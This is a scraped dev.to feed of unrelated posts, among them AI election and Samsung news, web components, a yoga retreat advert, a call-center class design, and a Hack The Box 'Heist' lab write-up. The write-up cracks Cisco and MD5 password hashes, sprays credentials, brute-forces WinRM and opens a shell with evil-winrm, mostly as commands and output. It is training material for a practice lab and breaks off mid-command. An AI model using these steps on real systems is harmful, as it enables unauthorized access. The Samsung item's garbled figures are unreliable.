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UK Says No To AI. Virtual Candidate Finishes Last In Polls

In a historic first, an artificial intelligence (AI) candidate named AI Steve made its debut in the...

https://dev.to/maxhar/uk-says-no-to-ai-virtual-candidate-finishes-last-in-polls-2doh

In a historic first, an artificial intelligence (AI) candidate named AI Steve made its debut in the 2024 UK general election, running as an independent in the Brighton Pavilion constituency. The brainchild of businessman Steve Endacott, AI Steve aimed to provide constituents with round-the-clock access and engage them on various issues[1]. Despite its innovative approach, AI Steve failed to impress voters, securing only 179 votes (0.3% of the total) and finishing last in the race[1]. The UK election watchdog had earlier clarified that if AI Steve won the seat, the human candidate Steve Endacott would take office as a member of Parliament, not the AI entity itself[1]. The Brighton Pavilion constituency saw a 70% turnout, with the Green Party's Sian Berry emerging victorious[1]. Meanwhile, Keir Starmer's Labour Party secured a majority government, ending 14 years of Conservative rule in the UK[1]. Rishi Sunak, the incumbent Prime Minister, conceded defeat after multiple cabinet members lost their seats[1]. While AI Steve's candidature made history, its campaign struggled to gain momentum in the face of traditional political parties. The result highlights the challenges AI faces in gaining public trust and acceptance in the political arena. Citations: [https://groups.google.com/g/maxshirt5/c/N_RVXB7mZnk](https://groups.google.com/g/maxshirt5/c/N_RVXB7mZnk) [https://groups.google.com/g/maxshirt5/c/N_RVXB7mZnk](https://groups.google.com/g/maxshirt5/c/N_RVXB7mZnk) [https://groups.google.com/g/maxshirt5/c/N_RVXB7mZnk](https://groups.google.com/g/maxshirt5/c/N_RVXB7mZnk)

maxhar

What are Web Components

Why Web Components In 2014, the developer community was hyped: Google just released their...

https://georg.dev/blog/01-what-are-web-components/

webcomponents, webdev, javascript

--- canonical_url: https://georg.dev/blog/01-what-are-web-components/ --- ## Why Web Components In 2014, the developer community was hyped: Google just released their new design system, Material Design. It looked fresh and exciting, promising a cohesive and well-thought-out experience. But what if you wanted to use it in your own web app? After all, Material Design is just the design specification. You needed a component library. If you were an Angular developer, you would install Angular Material. For React, you would use MUI, and for Vue, you would use Material Vue. Each individual framework needed its own library.  <figcaption>For Material Design 2, each framework still required its own component library since web components weren't supported by all frameworks yet.</figcaption> Think of all the effort wasted. Not only for the library creators who wrote and maintained the libraries but also for the library users who had to learn them. You could be an expert in Angular Material and still have to re-learn everything if you wanted to do Material Design in React. But what if we could just write our UI component libraries once and use them in any web framework? This is exactly what happens with Material Design 3. How? With the power of web components.^[1]  <figcaption>For Material Design 3, only one component library is required, which is framework-agnostic thanks to web components.</figcaption> ## The Growing Significance of Web Components Chances are, you've never used a web component yet, let alone created one. They are mostly popular among large companies needing framework-agnostic components, like Google, Microsoft, or Netflix. For example, GitHub has been a famous early adopter of web components.^[2] A more recent example is the Photoshop Web UI which was built by relying heavily on the web component framework Lit. In fact, Adobe built their whole Creative Cloud with the power of web components.^[3]  <figcaption>Screenshot of the Photoshop Web UI: Almost every element you see here is a web component.</figcaption> According to the Google Chrome Platform status report, 15-20% of page loads and around 16% of URLs world-wide contain web components nowadays.^[4] This number has been steadily growing for years and the newly added web component support in React will likely increase it even further.  <figcaption>Google Chrome Platform Status: The number of URLs containing web components has been steadily rising from <0% in 2018 to around 16% in 2024.</figcaption> What this means for you as a software developer is that even if you've never had any contact web components yet, you will encounter them sooner or later. ## Defining a Standard Even though we talk about the web component standard, it is actually the result of three different specifications: - **HTML Templates**: allows re-using HTML in the same document - **Shadow DOM**: Creates encapsulated DOM structures - **Custom Elements**: Associates HTML elements with JavaScript classes Each specification already brings useful functionality on its own. Combined, they create re-usable and encapsulated UI components as a web standard: web components. <br/> > ### Curious to dive deeper? > > Check out my upcoming articles on [georg.dev](https://georg.dev/) where I’ll break down each of the three specifications: HTML Templates, Shadow DOM, and Custom Elements. Each article aims to equip you with the tools necessary to implement these technologies in your own projects. Keep learning! ## References 1. [GitHub: Material Web](https://github.com/material-components/material-web) 2. [GitHub: github-elements](https://github.com/github/github-elements) 3. [web.dev: Photoshop's journey to the web](https://web.dev/articles/ps-on-the-web) 4. [Chrome Platform Status: CustomElementsRegistryDefine metrics](https://chromestatus.com/metrics/feature/timeline/popularity/1689)

georg-dev

Samsung expects profits to jump by more than 1,400%

Samsung Electronics, the global technology giant, is poised for a remarkable surge in profits during...

https://dev.to/maxhar/samsung-expects-profits-to-jump-by-more-than-1400-4fgo

Samsung Electronics, the global technology giant, is poised for a remarkable surge in profits during the second quarter of 2024, thanks to a significant boost from the artificial intelligence (AI) frenzy. The company anticipates a 15-fold increase in profits compared to the same period last year, driven by the rising costs of cutting-edge chips[1]. As a leader in memory chips, smartphones, and televisions, Samsung has witnessed a substantial increase in demand for AI chips in data centers and smartphones[1]. This surge in demand has been a key driver of the recent market upswing, propelling the S&P 500 and the Nasdaq to unprecedented highs in the United States[1]. Nvidia, a prominent chip manufacturer, briefly held the title of the world's most valuable company last month, with its market value exceeding $3tn[1]. The AI surge that significantly bolstered Nvidia is now also contributing to Samsung's earnings and those of the entire sector[1]. For the initial three months of this year, Samsung foresees its profits escalating to 10.tn won ($.54bn £5.9bn), a substantial rise from 670bn won recorded last year, surpassing analysts' predictions[1]. Despite the positive outlook, Samsung Electronics faces a potential three-day strike scheduled to commence on Monday, with the labor union advocating for a more transparent framework concerning bonuses and time off for the employees[1]. Citations: [https://groups.google.com/g/maxshirt5/c/N_RVXB7mZnk](https://groups.google.com/g/maxshirt5/c/N_RVXB7mZnk) [https://groups.google.com/g/maxshirt5/c/N_RVXB7mZnk](https://groups.google.com/g/maxshirt5/c/N_RVXB7mZnk) [https://groups.google.com/g/maxshirt5/c/N_RVXB7mZnk](https://groups.google.com/g/maxshirt5/c/N_RVXB7mZnk)

maxhar

Sattva Yoga Retreat Villas

Я приглашаю вас в свое пространство! ‌На уникальную историческую виллу, с площадью в 15 га, созданную...

https://dev.to/sattvayogaretreatvillas/sattva-yoga-retreat-villas-3mei

yoga

Я приглашаю вас в свое пространство! ‌На уникальную историческую виллу, с площадью в 15 га, созданную французским архитектором посреди джунглей. Дом, построенный в аутентичной деревушке, вобрал в себя магию и мощную силу природы настоящего Бали, и в тоже время он с нотками европейского флера из фильмов Бертолуччи. Особенная энергетика, с атмосферой покоя, звуками цикад и колокольчиков из соседнего балийского храма. Это идеальное место для проведения глубинного самоанализа и личного пробуждения.  **ОБО МНЕ** Меня зовут Айганым. Я родом из Алматы, из Казахстана. 16 лет жизни провела в Европе. Из них 6 — в Германии, 6 — в Австрии, 4 — в Испании. В настоящий момент проживаю на острове Бали и являюсь владелицей «SATTVA RETREAT VILLAS» Мне 47 лет, мама троих детей и сертифицированный международным альянсом (RYT 200) преподаватель хатха йоги. На Бали веду онлайн школу хатха йоги, провожу ретриты. Постоянно работаю над своей трансформацией, веду блог. Провожу полученную информацию через свою призму- сердце, время и жизненный опыт, удаляю «воду», пробую инструменты на себе, и затем уже делюсь от души своими знаниями с вами. Расположение отеля Вилла расположена в 15 мин езды от района Чангу, 45 мин от Убуда, в 50 мин от аэропорта. 1. На территории виллы большой красивый сад с пальмами, деревьями манго франжипани и рамбутан 2. 2 пруда для медитации 3. 2 чилинг крыши с умопомрачительными видами 4. йога 5. шала 6. кафе

sattvayogaretreatvillas

Good website design

Good Website Design: Enhancing User Experience and Functionality In the digital age, a well-designed...

https://dev.to/almatyathletics/good-website-design-2ef7

webdev, javascript, beginners, programming

Good Website Design: Enhancing User Experience and Functionality In the digital age, a well-designed website is crucial for any business aiming to succeed online. For sports enthusiasts and athletes visiting [Almaty Athletics](https://almaty-athletics.kz), the website’s design plays a pivotal role in delivering an exceptional user experience. Here are some key programming and design principles that contribute to an effective and user-friendly website: 1. Responsive Design A good website must be accessible and functional on all devices, whether it's a desktop, tablet, or smartphone. Using responsive web design techniques, we ensure that Almaty Athletics automatically adjusts its layout and elements to fit different screen sizes. This is achieved through CSS media queries and flexible grid layouts. 2. Fast Load Times Website performance is a critical factor in retaining visitors. Slow load times can lead to high bounce rates. Our website leverages techniques such as image optimization, minification of CSS and JavaScript files, and efficient caching mechanisms to ensure fast and seamless access to all pages. 3. User-Friendly Navigation Intuitive navigation is essential for a positive user experience. Our website employs clear and concise menu structures, breadcrumb trails, and a well-thought-out hierarchy of pages to help users find the information they need quickly. JavaScript frameworks like React or Vue.js can be used to create dynamic and interactive navigation components. 4. Accessibility Accessibility ensures that all users, including those with disabilities, can navigate and interact with the website. This includes using semantic HTML, providing text alternatives for images, and ensuring keyboard navigability. Tools like ARIA (Accessible Rich Internet Applications) can be integrated to enhance the accessibility of interactive elements. 5. Search Engine Optimization (SEO) SEO is vital for increasing the visibility of the website in search engine results. Our website follows best practices in coding and content management to improve SEO. This includes clean and semantic code, optimized meta tags, and the use of structured data (schema markup) to help search engines understand the content. 6. Security Security is paramount, especially for e-commerce websites. We implement HTTPS encryption to protect user data, employ secure coding practices to prevent vulnerabilities like SQL injection and cross-site scripting (XSS), and regularly update our software and dependencies to patch known security issues. 7. Content Management System (CMS) A robust CMS allows for easy updates and management of website content. Our website uses modern CMS platforms like WordPress or custom-built solutions, providing flexibility and control over the website's content. This ensures that the latest products, news, and updates are readily available to our users. By focusing on these key programming and design principles, Almaty Athletics delivers a seamless, secure, and engaging online experience for all users. Whether you're looking for the latest sports gear or expert fitness advice, our website is designed to meet your needs efficiently and effectively.

almatyathletics

My Wins of the Week! 👥 📜 ✅

📰 I published a new post on DEV! ✨ Are you a Beginner,...

https://dev.to/anitaolsen/my-wins-of-the-week-4odj

weeklyretro

<a href="https://www.glitter-graphics.com"><img src="http://dl4.glitter-graphics.net/pub/757/757794p2mhlhr1i7.gif" width=450 height=30 border=0></a> 📰 I published a new post on DEV! ✨ {% embed https://dev.to/anitaolsen/are-you-a-beginner-intermediate-or-expert-programmer-2p8m %} &nbsp; 👥 I have reached over 20000 followers on DEV! ✨  &nbsp; 💟 I received two new badges on [Codecademy](https://www.codecademy.com/profiles/AnitaOlsen)! ✨  &nbsp; 🎯 I met my weekly target on Codecademy! ✨  _I have been active on the Learn Intermediate Python 3: Exceptions and Unit Testing course_ &nbsp; 💻 I completed 2 quizzes on the HTML course on [W3Schools](https://www.w3profile.com/anitaolsen)! ✨   &nbsp; 💻 I completed 16 singleplayer levels on [CodeCombat](https://codecombat.com/user/anitaolsen)! ✨ I also earned the following achievements:  &nbsp; 📜 I got a my first Python credentials on [Real Python](https://realpython.com)! ✨   &nbsp; ✅ I had a productive month of June! ✨  &nbsp; <a href="https://www.glitter-graphics.com"><img src="http://dl4.glitter-graphics.net/pub/757/757794p2mhlhr1i7.gif" width=450 height=30 border=0></a>  <center>Thank you for reading! ♡</center>

anitaolsen

OOD Use Case: Solving call center problem

Call Center: Imagine you have a call center with three levels of employees: respondent, manager, and...

https://dev.to/muhammad_salem/ood-use-case-solving-call-center-problem-1kgm

Call Center: Imagine you have a call center with three levels of employees: respondent, manager, and director. An incoming telephone call must be first allocated to a respondent who is free. If the respondent can't handle the call, he or she must escalate the call to a manager. If the manager is not free or not able to handle it, then the call should be escalated to a director. Design the classes and data structures for this problem. ### Thought Process and Design Decisions 1. **Identify Core Entities**: The primary entities are `Call`, `Employee`, `Respondent`, `Manager`, and `Director`. Each employee can handle a call or escalate it if they are unable to handle it. 2. **Class Hierarchy**: - `Employee` is the base class for `Respondent`, `Manager`, and `Director`. - `Call` represents an incoming call. 3. **Behavior**: - `Employee` has methods to `handleCall` and `escalateCall`. - Each `Employee` can be in one of the three states: available, busy, or on break. 4. **Data Structures**: - A queue to manage incoming calls. - Separate lists for available respondents, managers, and directors. 5. **Method `dispatchCall`**: - Check for the availability of respondents first, then managers, and finally directors. - Escalate the call if no lower-level employees are available. ### Class Design ```csharp using System; using System.Collections.Generic; public enum EmployeeLevel { Respondent, Manager, Director } public enum CallStatus { Waiting, InProgress, Completed } public class Call { public int Id { get; set; } public CallStatus Status { get; set; } public Call(int id) { Id = id; Status = CallStatus.Waiting; } } public abstract class Employee { public int Id { get; set; } public EmployeeLevel Level { get; set; } public bool IsFree { get; set; } = true; public Employee(int id, EmployeeLevel level) { Id = id; Level = level; } public abstract void HandleCall(Call call); } public class Respondent : Employee { public Respondent(int id) : base(id, EmployeeLevel.Respondent) { } public override void HandleCall(Call call) { if (IsFree) { Console.WriteLine($"Respondent {Id} is handling call {call.Id}"); IsFree = false; call.Status = CallStatus.InProgress; } else { Console.WriteLine($"Respondent {Id} cannot handle call {call.Id} and needs to escalate."); } } } public class Manager : Employee { public Manager(int id) : base(id, EmployeeLevel.Manager) { } public override void HandleCall(Call call) { if (IsFree) { Console.WriteLine($"Manager {Id} is handling call {call.Id}"); IsFree = false; call.Status = CallStatus.InProgress; } else { Console.WriteLine($"Manager {Id} cannot handle call {call.Id} and needs to escalate."); } } } public class Director : Employee { public Director(int id) : base(id, EmployeeLevel.Director) { } public override void HandleCall(Call call) { if (IsFree) { Console.WriteLine($"Director {Id} is handling call {call.Id}"); IsFree = false; call.Status = CallStatus.InProgress; } else { Console.WriteLine($"Director {Id} cannot handle call {call.Id}."); } } } public class CallCenter { private Queue<Call> callQueue = new Queue<Call>(); private List<Respondent> respondents = new List<Respondent>(); private List<Manager> managers = new List<Manager>(); private List<Director> directors = new List<Director>(); public CallCenter(int numRespondents, int numManagers, int numDirectors) { for (int i = 1; i <= numRespondents; i++) respondents.Add(new Respondent(i)); for (int i = 1; i <= numManagers; i++) managers.Add(new Manager(i)); for (int i = 1; i <= numDirectors; i++) directors.Add(new Director(i)); } public void ReceiveCall(Call call) { callQueue.Enqueue(call); DispatchCall(); } public void DispatchCall() { if (callQueue.Count == 0) return; Call call = callQueue.Dequeue(); foreach (var respondent in respondents) { if (respondent.IsFree) { respondent.HandleCall(call); return; } } foreach (var manager in managers) { if (manager.IsFree) { manager.HandleCall(call); return; } } foreach (var director in directors) { if (director.IsFree) { director.HandleCall(call); return; } } Console.WriteLine($"No available employee to handle call {call.Id}. Adding back to queue."); callQueue.Enqueue(call); } public void EndCall(Call call, Employee employee) { Console.WriteLine($"Call {call.Id} completed by {employee.Level} {employee.Id}"); call.Status = CallStatus.Completed; employee.IsFree = true; DispatchCall(); } } ``` ### Explanation and Trade-offs 1. **Class Hierarchy**: - Using inheritance (`Respondent`, `Manager`, `Director` derive from `Employee`) allows us to define shared behaviors and properties in the base class (`Employee`). This makes the code more maintainable and reduces duplication. 2. **Method Responsibility**: - `HandleCall` method is abstract in `Employee` and implemented by each subclass. This ensures that each type of employee can have specific handling logic if needed. - `DispatchCall` in `CallCenter` coordinates the allocation of calls, ensuring that calls are escalated appropriately if lower-level employees are busy. 3. **State Management**: - The `IsFree` property on `Employee` ensures that we can check if an employee is available to take a call. This simplifies the logic for dispatching calls. 4. **Data Structures**: - Using a `Queue` for calls ensures that calls are handled in the order they are received, which is typically expected in a call center. - Separate lists for each level of employee (`respondents`, `managers`, `directors`) allow us to easily iterate and find the first available employee at each level. ### Trade-offs and Flexibility 1. **Scalability**: - The design can scale to larger numbers of employees without significant changes. Adding more respondents, managers, or directors only involves updating the initialization logic. 2. **Extensibility**: - Adding new types of employees (e.g., `Supervisor`) would require minimal changes. We could simply extend the `Employee` class and update the `CallCenter` dispatch logic. 3. **Separation of Concerns**: - The separation of responsibilities between the `CallCenter` and `Employee` classes ensures that each class has a single responsibility. This follows the Single Responsibility Principle (SRP) and makes the system easier to maintain. 4. **Complexity**: - The simplicity of the design may need to be balanced against the need for more complex features, such as handling priority calls or dynamically adjusting employee availability based on load. However, the current design provides a solid foundation for such extensions. By carefully considering these design decisions and trade-offs, we can build a robust and maintainable call center system that meets the needs of both current requirements and potential future enhancements.

muhammad_salem

Hack The Box Writeup: Heist

This is a beginner friendly writeup of Heist on Hack The Box. hope you learn something, because I...

https://dev.to/sshad0w/hack-the-box-writeup-heist-2jk5

cybersecurity, windows, hackthebox

This is a beginner friendly writeup of Heist on Hack The Box. hope you learn something, because I sure did! Be sure to comment if you have any questions! # Recon ## /etc/hosts In order to properly resolve our IP to a hostname, we'll need to map it's IP to a hostname using local DNS. This way, we won't need to type the IP address each time we'd like to communicate with the machine. In order to do this, we'll need to use the command `sudo vi /etc/hosts`, type in our password, and follow the convention within the file (IP address [TAB] domain name) to add it to the file on the next line. ## Quick nmap ``` nmap 10.10.10.149 -p- Nmap scan report for 10.10.10.149 Host is up (0.032s latency). Not shown: 65530 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc 445/tcp open microsoft-ds 5985/tcp open wsman 49669/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 161.65 seconds ``` ## Full nmap scan My full nmap scan uses the following options: `nmap -sCV -p 80,135,445,5985,49669 -o heist.nmap heist.htb` -sV: Detects service versions -sC: Runs safe scripts (using the NSE) -p: Scans selected ports -o: Outputs in normal format. (With filename "heist.nmap") ``` # Nmap 7.93 scan initiated Tue Jun 20 10:59:56 2023 as: nmap -sVC -p 80,135,445,5985,49669 -oN heist.nmap 10.10.10.149 Nmap scan report for heist.htb (10.10.10.149) Host is up (0.031s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-title: Support Login Page |_Requested resource was login.php |_http-server-header: Microsoft-IIS/10.0 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49669/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2023-06-20T15:00:50 |_ start_date: N/A | smb2-security-mode: | 311: |_ Message signing enabled but not required |_clock-skew: -2s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Jun 20 11:01:31 2023 -- 1 IP address (1 host up) scanned in 95.02 seconds ``` ## Port 80 On HTTP, I see a login portal. The page is `login.php`, so we'll take note of the server side language.  ## Wappalyzer [Wappalyzer](https://www.wappalyzer.com/) is a fantastic tool for easy investigation of back-end web technologies. It's a simple browser extension that can be installed on firefox. Here's the output of the tool for this machine:  Let's click that "login as guest" button ### /issues.php We're met with a page called `issues.php`.  > Keep in mind that we just learned 2 new usernames. User "Hazard" and user "Support admin". This may or may not be useful information later, but this is important in the enumeration process! Let's have a look at that attachment: ### /attachments/config.txt ``` version 12.2 no service pad service password-encryption ! isdn switch-type basic-5ess ! hostname ios-1 ! security passwords min-length 12 enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ! username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ! ! ip ssh authentication-retries 5 ip ssh version 2 ! ! router bgp 100 synchronization bgp log-neighbor-changes bgp dampening network 192.168.0.0Â mask 300.255.255.0 timers bgp 3 9 redistribute connected ! ip classless ip route 0.0.0.0 0.0.0.0 192.168.0.1 ! ! access-list 101 permit ip any any dialer-list 1 protocol ip list 101 ! no ip http server no ip http secure-server ! line vty 0 4 session-timeout 600 authorization exec SSH transport input ssh ``` In the config file, there are usernames and hashed passwords. [Cisco type 7 passwords are vulnerable due to the a weak hashing algorithim.](https://passlib.readthedocs.io/en/stable/lib/passlib.hash.cisco_type7.html#:~:text=Format%20%26%20Algorithm,%22password%22%20%20is%20044B0A151C36435C0D%20.) To quote the documentation: > "The “Type 7” password encoding used Cisco IOS. This is not actually a true hash, but a reversible XOR Cipher encoding the plaintext password. Type 7 strings are (and were designed to be) plaintext equivalent; the goal was to protect from “over the shoulder” eavesdropping, and little else. They can be trivially decoded. " ## Invalid creds After inputting these credentials into the login page, we see that there isn't password reuse from the config file to the login page. ### /errorpage.php  ## Cisco type 7 Password decryption After reading the docs on the "hashing" algorithm, we could write our own code to do this, but [there's a GitHub repo made for this.](https://github.com/theevilbit/ciscot7.git) ``` python3 ciscot7.py -p 0242114B0E143F015F5D1E161713 Decrypted password: $uperP@ssword ``` ``` python3 ciscot7.py -p 02375012182C1A1D751618034F36415408 Decrypted password: Q4)sJu\Y8qz*A3?d ``` Now that we have usernames and passwords, we can keep moving forward and try these whenever authentication is required. ## MD5 cracking with hashcat The other hash is MD5. We know how to crack an MD5 hash easily. > If you've never cracked MD5 hash before, go to my [Previse HackTheBox writeup](https://dev.to/sshad0w/hack-the-box-writeup-previse-sshad0w-4p33) where we crack a few passwords very similar to this one, and I explain the anatomy of a password in more detail. `hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt` `$1$pdQG$o8nrSzsGXeaduXrjlvKc91:stealth1agent` ## Credential spraying with crackmapexec > NOTE: The last time I rooted this machine, it was July 2023. At time of editing, (July 2024), CrackMapExec has been deprecated, and it's generally recommended to use [NetExec (NXC)](https://github.com/Pennyw0rth/NetExec). The syntax should be very similar, and it should get you through this portion of the writeup. By this point, we've collected many credentials. Let's make a file of our usernames, and a file of collected passwords for some password spraying attacks. Users.txt: ``` rout3r admin hazard support_admin support ``` pwds.txt: ``` $uperP@ssword Q4)sJu\Y8qz*A3?d stealth1agent ``` > Since I use ParrotOS as my main distro, I had to install CrackMapExec, and I had lots of issues. If you're like me, *don't* download from GitHub or use apt, download CrackMapExec using the following command: `pip3 install crackmapexec` it will save you lots of time and dependency issues! It's even automatically adds it to /usr/bin, so you can call it from anywhere! Now we'll run the following: `crackmapexec smb -u users.txt -p pwds.txt --shares heist.htb` ``` crackmapexec smb -u users.txt -p pwds.txt --shares heist.htb [*] Generating SSL certificate SMB heist.htb 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False) SMB heist.htb 445 SUPPORTDESK [-] SupportDesk\rout3r:$uperP@ssword STATUS_LOGON_FAILURE SMB heist.htb 445 SUPPORTDESK [-] SupportDesk\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE SMB heist.htb 445 SUPPORTDESK [-] SupportDesk\rout3r:stealth1agent STATUS_LOGON_FAILURE SMB heist.htb 445 SUPPORTDESK [-] SupportDesk\admin:$uperP@ssword STATUS_LOGON_FAILURE SMB heist.htb 445 SUPPORTDESK [-] SupportDesk\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE SMB heist.htb 445 SUPPORTDESK [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE SMB heist.htb 445 SUPPORTDESK [-] SupportDesk\hazard:$uperP@ssword STATUS_LOGON_FAILURE SMB heist.htb 445 SUPPORTDESK [-] SupportDesk\hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE SMB heist.htb 445 SUPPORTDESK [+] SupportDesk\hazard:stealth1agent SMB heist.htb 445 SUPPORTDESK [+] Enumerated shares SMB heist.htb 445 SUPPORTDESK Share Permissions Remark SMB heist.htb 445 SUPPORTDESK ----- ----------- ------ SMB heist.htb 445 SUPPORTDESK ADMIN$ Remote Admin SMB heist.htb 445 SUPPORTDESK C$ Default share SMB heist.htb 445 SUPPORTDESK IPC$ READ Remote IPC ``` We've hit a match! Now we've confirmed a few things: 1) Our target's hostname is named `SupportDesk` 2) The credentials `hazard:stealth1agent` are used at least once. This may be important for password reuse attacks later. Since we only have read access, there's not much we can do for more access. ## Impacket-lookupsid LookUpSID allows us to look up the systemID of different users using ``` impacket-lookupsid "hazard:stealth1agent"@heist.htb Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation [*] Brute forcing SIDs at heist.htb [*] StringBinding ncacn_np:heist.htb[\pipe\lsarpc] [*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112 500: SUPPORTDESK\Administrator (SidTypeUser) 501: SUPPORTDESK\Guest (SidTypeUser) 503: SUPPORTDESK\DefaultAccount (SidTypeUser) 504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser) 513: SUPPORTDESK\None (SidTypeGroup) 1008: SUPPORTDESK\Hazard (SidTypeUser) 1009: SUPPORTDESK\support (SidTypeUser) 1012: SUPPORTDESK\Chase (SidTypeUser) 1013: SUPPORTDESK\Jason (SidTypeUser) ``` Now, we can add these users to our username list. ## RPC Client According to tenfold-security.com, here's a little bit about SID's in windows: > SIDs always follow the same structure, with values separated by dashes: S: The letter S indicates that this string is a SID. 1: The second position shows the revision level, i.e. the version of the SID specification. It has never been changed from 1. 5: The third position marks the identifier authority, which is typically 5 for NT Authority. Domain or local computer identifier: This 48-bit string identifies the computer or domain that created the SID. Relative ID (RID): The RID consists of four numbers and uniquely identifies a security principal in the local domain. RIDs not created by default by windows will have a value of 1000 or greater. > >When you put it all together, an example of a SID could look like this: > >S-1-5-43-4342332-4365423-981231-1015 [You can read the full article here](https://www.tenfold-security.com/en/wiki/sid-security-identifier/) [The official documentation](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers) `rpcclient -U "hazard%stealth1agent" heist.htb` ``` rpcclient $> lookupnames administrator administrator S-1-5-21-4254423774-1266059056-3197185112-500 (User: 1) ``` As we see the RID for the admin account is 500. (This was just a test- the administrator account always has a RID of 500!) ``` rpcclient $> lookupnames guest guest S-1-5-21-4254423774-1266059056-3197185112-501 (User: 1) ``` From there, we can continue to increment our requests to find new accounts: ``` pcclient $> lookupnames administrator administrator S-1-5-21-4254423774-1266059056-3197185112-500 (User: 1) rpcclient $> lookupnames guest guest S-1-5-21-4254423774-1266059056-3197185112-501 (User: 1) rpcclient $> lookupsids S-1-5-21-4254423774-1266059056-3197185112-502 S-1-5-21-4254423774-1266059056-3197185112-502 *unknown*\*unknown* (8) rpcclient $> lookupsids S-1-5-21-4254423774-1266059056-3197185112-503 S-1-5-21-4254423774-1266059056-3197185112-503 SUPPORTDESK\DefaultAccount (1) ``` Since we have a username, we can look it up. ``` rpcclient $> lookupnames hazard hazard S-1-5-21-4254423774-1266059056-3197185112-1008 (User: 1) ``` > On windows systems, the first user typically has the SID of 1000, so now we know there are at least 9 users on this machine. Let's try a manual bruteforce to find more accounts: ``` rpcclient $> lookupnames hazard hazard S-1-5-21-4254423774-1266059056-3197185112-1008 (User: 1) rpcclient $> lookupsids S-1-5-21-4254423774-1266059056-3197185112-1008 S-1-5-21-4254423774-1266059056-3197185112-1008 SUPPORTDESK\Hazard (1) rpcclient $> lookupsids S-1-5-21-4254423774-1266059056-3197185112-1009 S-1-5-21-4254423774-1266059056-3197185112-1009 SUPPORTDESK\support (1) rpcclient $> lookupsids S-1-5-21-4254423774-1266059056-3197185112-1010 S-1-5-21-4254423774-1266059056-3197185112-1010 *unknown*\*unknown* (8) rpcclient $> lookupsids S-1-5-21-4254423774-1266059056-3197185112-1011 S-1-5-21-4254423774-1266059056-3197185112-1011 *unknown*\*unknown* (8) rpcclient $> lookupsids S-1-5-21-4254423774-1266059056-3197185112-1012 S-1-5-21-4254423774-1266059056-3197185112-1012 SUPPORTDESK\Chase (1) rpcclient $> lookupsids S-1-5-21-4254423774-1266059056-3197185112-1013 S-1-5-21-4254423774-1266059056-3197185112-1013 SUPPORTDESK\Jason (1) rpcclient $> lookupsids S-1-5-21-4254423774-1266059056-3197185112-1014 S-1-5-21-4254423774-1266059056-3197185112-1014 *unknown*\*unknown* (8) ``` ## Crackmapexec winrm ``` crackmapexec winrm 10.10.10.149 -u hazard -p stealth1agent [*] Generating SSL certificate SMB 10.10.10.149 5985 NONE [*] None (name:10.10.10.149) (domain:None) HTTP 10.10.10.149 5985 NONE [*] http://10.10.10.149:5985/wsman WINRM 10.10.10.149 5985 NONE [-] None\hazard:stealth1agent ``` ## Tool I found to bruteforce logins Avoiding msf with one simple trick! (Use bundle install) https://github.com/y0k4i-1337/winrm-brute `bundle exec winrm-brute.rb -U ../users.txt -P ../pwds.txt heist.htb` > Since this program requires the .bundle file to be used while running it, you'll need to execute it from inside the `winrm-brute` directory and reference a relative (or absolute) path to your username and password files! Your output should look like this: ``` rying rout3r:stealth1agent Trying admin:$uperP@ssword Trying admin:Q4)sJu\Y8qz*A3?d Trying admin:stealth1agent Trying hazard:$uperP@ssword Trying hazard:Q4)sJu\Y8qz*A3?d Trying hazard:stealth1agent Trying support_admin:$uperP@ssword Trying support_admin:Q4)sJu\Y8qz*A3?d Trying support_admin:stealth1agent Trying support:$uperP@ssword Trying support:Q4)sJu\Y8qz*A3?d Trying support:stealth1agent Trying chase:$uperP@ssword Trying chase:Q4)sJu\Y8qz*A3?d [SUCCESS] user: chase password: Q4)sJu\Y8qz*A3?d Trying chase:stealth1agent Trying jason:$uperP@ssword Trying jason:Q4)sJu\Y8qz*A3?d Trying jason:stealth1agent ``` We got a hit! Now we can add this to our creds file. `chase:Q4)sJu\Y8qz*A3?d` ## Logging in with evil-winrm Claim your shell with: `evil-winrm -i 10.10.10.149 -u "chase" -p "Q4)sJu\Y8qz*A3?d"` > Install evil-winrm with the following: `sudo gem install evil-winrm` The output should look like the following:  ## User flag:  # Privesc ## Todo.txt Let's check out that `todo.txt` file: ## Inspecting /issues.php Now that we're on the box, we can look deeper into `issues.php` to see if there are any secrets.   If you're anything like me, you'll be kicked out of your shell multiple times!  So you can skip directly to where you need with: `evil-winrm -i <IP> -u "chase" -p "Q4)sJu\Y8qz*A3?d"`  `type issues.php` We find session information at the top:  ## /login.php ``` </body> <?php session_start(); if( isset($_REQUEST['login']) && !empty($_REQUEST['login_username']) && !empty($_REQUEST['login_password'])) { if( $_REQUEST['login_username'] === '[email protected]' && hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') { $_SESSION['admin'] = "valid"; header('Location: issues.php'); } else header('Location: errorpage.php'); } else if( isset($_GET['guest']) ) { if( $_GET['guest'] === 'true' ) { $_SESSION['guest'] = "valid"; header('Location: issues.php'); ``` ## Dumping processes Just like Linux, the `ps` command can dump the current processes in Windows. ``` *Evil-WinRM* 